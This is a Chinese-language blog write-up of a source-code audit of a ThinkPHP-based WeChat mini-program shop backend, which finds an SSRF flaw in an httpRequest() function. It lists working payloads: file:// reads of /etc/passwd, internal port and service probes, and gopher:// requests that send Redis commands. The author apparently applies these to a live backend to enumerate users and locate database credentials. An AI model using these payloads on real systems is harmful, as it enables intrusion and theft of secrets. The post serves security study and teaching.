【代码审计】某微信小程序商城后台存在SSRF漏洞

https://www.dkewl.com/code/detail3016.html

直接看后端源码

很清楚的有个thinkphp
ThinkPHP 是一个国内流行的 PHP 框架,主要用于快速开发中小型应用,尤其是为国内 PHP 开发者设计。它以高效、简单、灵活和轻量级为特点,支持 MVC 模式(Model-View-Controller),并且易于扩展和修改。以下是对 ThinkPHP 框架结构和核心内容的详细介绍:

1. 目录结构

在 ThinkPHP 框架中,目录结构大体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
项目根目录
├── application/ # 应用目录,主要放置项目的业务逻辑代码
│ ├── common/ # 公共模块,存放公共函数、类库等
│ ├── config/ # 配置文件目录
│ ├── controller/ # 控制器目录,MVC 中的 Controller
│ ├── model/ # 模型目录,MVC 中的 Model
│ ├── view/ # 视图目录,MVC 中的 View
│ ├── route/ # 路由文件目录
│ └── ...
├── extend/ # 扩展目录,存放第三方库或自定义扩展
├── public/ # Web 根目录,存放入口文件和静态资源
├── runtime/ # 运行时目录,存放缓存、日志等文件
└── thinkphp/ # 核心框架文件目录

每个目录的主要作用如下:

  • application:项目的主应用目录,包含所有业务逻辑。
  • common:项目的公共模块,适用于多个模块之间共享的内容。
  • config:存放项目的全局配置文件。
  • controller:控制器目录,负责接收请求并调用模型处理数据。
  • model:模型目录,负责数据处理和业务逻辑。
  • view:视图目录,负责展示数据。
  • route:存放路由文件,定义 URL 路由规则。
  • extend:可扩展的目录,可以放入第三方库或自定义类库。
  • public:Web 访问目录,入口文件(如 index.php)放置在此。
  • runtime:运行时目录,存放缓存和日志文件。
  • thinkphp:ThinkPHP 框架的核心文件。

2. ThinkPHP 核心结构

ThinkPHP 框架主要由以下几个核心模块组成:

1) 控制器(Controller)

控制器是 MVC 模式中的 “C”,是用户请求的直接接收者。ThinkPHP 中的控制器通常继承自 Think\Controller,并通过 URL 调用。一个简单的控制器文件结构如下:

1
2
3
4
5
6
7
8
9
namespace app\index\controller;

use think\Controller;

class Index extends Controller {
public function index() {
return "Hello, ThinkPHP!";
}
}

2) 模型(Model)

模型是 MVC 模式中的 “M”,用于处理数据逻辑、数据库操作等。ThinkPHP 使用 ORM(对象关系映射)方式处理数据库数据。通常模型类继承自 think\Model,并使用简单的语法完成数据库操作:

1
2
3
4
5
6
7
namespace app\index\model;

use think\Model;

class User extends Model {
// 可以定义数据表的额外操作或业务逻辑
}

常用方法包括 find()select()insert()update() 等。

3) 视图(View)

视图是 MVC 模式中的 “V”,负责显示数据给用户。ThinkPHP 支持多种模板引擎,如原生的 PHP、Smarty、Twig 等,默认使用 ThinkPHP 自带的模板引擎。视图文件一般是 .html 文件,位于 view 目录中,通过控制器进行调用渲染:

1
$this->fetch('index'); // 渲染 index.html

4) 配置(Config)

ThinkPHP 使用配置文件进行环境的控制。配置文件主要位于 application/config.php,可以配置数据库、缓存、路由等信息。配置支持数组格式,且可以按需覆盖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
return [
// 数据库配置
'database' => [
'type' => 'mysql',
'hostname' => '127.0.0.1',
'database' => 'test_db',
'username' => 'root',
'password' => 'root',
'hostport' => '3306',
],
// 路由配置
'route' => [
'pathinfo_depr' => '/',
],
];

5) 路由(Route)

路由用于定义 URL 访问模式。ThinkPHP 支持 RESTful 风格的路由,并提供灵活的 URL 定义方式。路由配置文件一般位于 route 目录中,定义 URL 到控制器方法的映射:

1
2
3
4
use think\facade\Route;

// 定义简单路由
Route::rule('hello/:name', 'index/index/hello');

针对这个源代码分析

  1. **404.html**:通常是自定义的 404 错误页面。
  2. **数据库.sql**:数据库文件,包含初始化或结构数据。
  3. **composer.jsoncomposer.lock**:Composer 依赖管理文件,说明该框架使用 Composer 来管理 PHP 包。
  4. **index.php**:通常是入口文件,用于接收请求并启动框架。
  5. **log.json**:可能是日志文件,记录框架操作信息。
  6. **README.txt**:说明文件,可能包含关于框架的基本信息和使用说明。
  7. **sql.txt**:另一份 SQL 文件,可能包含不同的数据库表结构或数据。
  8. **version.php**:版本控制文件,标记当前框架版本。
  9. **.htaccess**:Apache 配置文件,用于 URL 重写或其他配置。

从目录结构来看,这个基于 ThinkPHP 二次开发的框架包含以下重要目录:

  1. **addons**:通常是插件或扩展模块的目录,用于增强框架的功能。
  2. **application**:主要应用程序目录,包含核心业务逻辑代码(如控制器、模型、视图)。
  3. **attachs**:一般用于存储附件或上传的文件。
  4. **data**:用于存储数据文件,如缓存、日志等。
  5. **lang**:语言包目录,支持多语言功能。
  6. **runtime**:运行时目录,存储缓存和临时文件。
  7. **static**:静态资源目录,包含 CSS、JavaScript 和图片等前端资源。
  8. **thinkphp**:框架核心文件,包含 ThinkPHP 的原始文件和库。
  9. **vendor**:第三方依赖目录,由 Composer 管理的 PHP 包通常存放在这里。

application 目录包含了一些主要配置文件和核心业务模块:

  1. 配置文件

    • command.phpcommon.phpconfig.phpcrons.phpdatabase.phproute.phptags.php 等文件,用于配置框架的核心功能,包括数据库、路由、计划任务等。
  2. 业务模块

    • **admin/behavior**:可能定义了行为扩展或中间件,例如 Cron.php 文件,可能用于定时任务的行为控制。
    • **admin/controller**:包含控制器文件,例如 Ad.php 和 **Admin.php**,负责后台管理功能的业务逻辑。

SSRF 漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1. CURL相关
curl_setopt()
curl_exec()

// 2. 文件操作相关
file_get_contents()
fopen()
readfile()
file()
fread()
fgets()

// 3. 图片处理相关
imagecreatefromurl()
getimagesize()

// 4. 其他网络操作
fsockopen()
socket_connect()
stream_socket_client()

// 5. XML相关
simplexml_load_file()
DOMDocument::load()
XMLReader::open()

PHP中可能有上述函数存在SSRF,检索curl_setopt(),发现使用的地方还是挺多的。

但重点关注 application 目录下的

1
2
3
4
5
6
7
8
9
10
11
12
public function getaccess_token(){
$config = model('Setting')->fetchAll2();
$url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $config['wxapp']['appid'] . "&secret=" . $config['wxapp']['appsecret'] . "";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$data = curl_exec($ch);
curl_close($ch);
$data = json_decode($data, true);
return $data['access_token'];
}

这是第一处的,发现没有参数可控,放弃了。
第二处,url是可控的,直接实现任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function httpRequest($url,$data = null){
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
if(!empty($data)){
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
}
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$output = curl_exec($curl);
curl_close($curl);
return $output;
}

漏洞利用

SSRF 漏洞可能导致的危害:

1. 读取服务器本地文件(使用 file:// 协议)

攻击者可以利用 file:// 协议来读取服务器上的本地文件。通过指定 file:// 协议,攻击者可以访问系统中的敏感文件,例如:

1
2
httpRequest("file:///etc/passwd");
httpRequest("file:///C:/Windows/system32/drivers/etc/hosts");

这类请求可以泄露操作系统配置文件、密码文件等敏感信息,帮助攻击者进一步攻击或发现漏洞。

2. 探测内网主机和端口

SSRF 可以让攻击者通过请求不同的内网 IP 地址和端口,对内部网络进行端口扫描,从而了解网络拓扑结构。例如,攻击者可以通过请求内网地址来发现哪些服务在运行:

1
2
httpRequest("http://192.168.0.1:22");  // 尝试连接 SSH 服务
httpRequest("http://192.168.0.1:3306"); // 尝试连接数据库

3. 访问内网服务

SSRF 漏洞允许攻击者访问内网中的受保护服务和 API,这些服务通常不对外开放。例如,企业内部的管理面板、数据库接口或其他敏感系统。攻击者可以通过指定内网地址,利用 SSRF 请求来与这些服务通信,从而获取敏感数据或执行命令:

1
2
httpRequest("http://127.0.0.1:8080/admin");
httpRequest("http://192.168.1.2:5000/internal-api");

4. 绕过防火墙限制

很多情况下,服务器所在的防火墙策略会禁止直接访问外部网络,但允许服务器与内网通信。SSRF 漏洞使得攻击者能够通过服务器发出请求,绕过防火墙限制访问内网或其他受保护资源。
例如,如果服务器在 DMZ 区域(外网与内网之间的隔离区),攻击者可能利用 SSRF 绕过 DMZ,直接访问内网资源,这会带来严重的安全威胁。

5. 利用特定协议

利用 file://dict://gopher:// 等协议的 SSRF 攻击可以带来严重的安全威胁,尤其是在服务器支持这些协议的情况下。以下是这些协议的具体利用方式及可能带来的危害:

file:// 协议,攻击者可以访问服务器上的本地文件并读取其内容。这对系统中的敏感文件(如配置文件、密码文件等)构成直接威胁。例如:

1
2
httpRequest("file:///etc/passwd");  // 读取 Linux 系统上的用户信息文件
httpRequest("file:///C:/Windows/system32/drivers/etc/hosts"); // 读取 Windows 系统的 hosts 文件

dict:// 协议是一个用于查询字典服务器的协议。在 SSRF 攻击中,攻击者可以利用它来发起对特定端口的请求,以便执行端口扫描或请求未授权的服务。例如:

1
2
httpRequest("dict://127.0.0.1:3306");  // 可能用于检测数据库服务
httpRequest("dict://internal-service.local:11211"); // 检测内网 memcached 服务

gopher:// 协议是一种较老的协议,但在 SSRF 攻击中非常强大,因为它可以创建任意的 TCP 连接。攻击者可以利用它构造复杂的请求,比如向数据库、Redis、HTTP 服务等发送自定义指令。示例包括:

  • Redis 未授权访问

    1
    httpRequest("gopher://127.0.0.1:6379/_SET%20test%20'hello'");

    通过构造 gopher:// 请求,攻击者可以直接向 Redis 发送命令,可能导致数据篡改、配置更改甚至持久化攻击脚本。

  • HTTP 请求劫持

    1
    httpRequest("gopher://internal-api.local:80/_GET%20/admin%20HTTP/1.1%0AHost:internal-api.local%0A");

    通过 gopher:// 协议构造 HTTP 请求,可以让服务器向内网的 HTTP 服务发送请求,访问管理员页面或内部接口。

除以上常见协议外,许多系统可能还支持其他协议,攻击者可以利用它们来实现多种攻击效果。例如:

  • **ftp://**:攻击者可以尝试连接 FTP 服务,探测是否存在未授权访问,甚至下载或上传文件。
  • **http://https://**:可以访问服务器内部接口、管理页面、API 等。
  • **ldap://**:如果服务器支持 LDAP 连接,攻击者可能尝试利用此协议连接目录服务以收集内部用户信息。

验证:
探测出数据库版本

进一步渗透

https://blog.csdn.net/Yb528970805/article/details/132853787
https://www.freebuf.com/articles/web/337617.html
https://www.freebuf.com/articles/web/371127.html

可以利用ssrf进行文件读取,尝试进行进一步渗透搜集

可以看到后端还是有很多服务的
www (UID 1000) Web server user Home: /home/www
mysql (UID 1001) Database service user Home: /home/mysql
springboot (UID 1002) Java application user Home: /home/springboot
redis (UID 1003) Redis service user Home: /home/redis

报错

尝试读了一些其他的文件,也不太行,就拐回去看源码了
分析源码可以看到配置文件里的 数据库帐号密码、公众和secretKey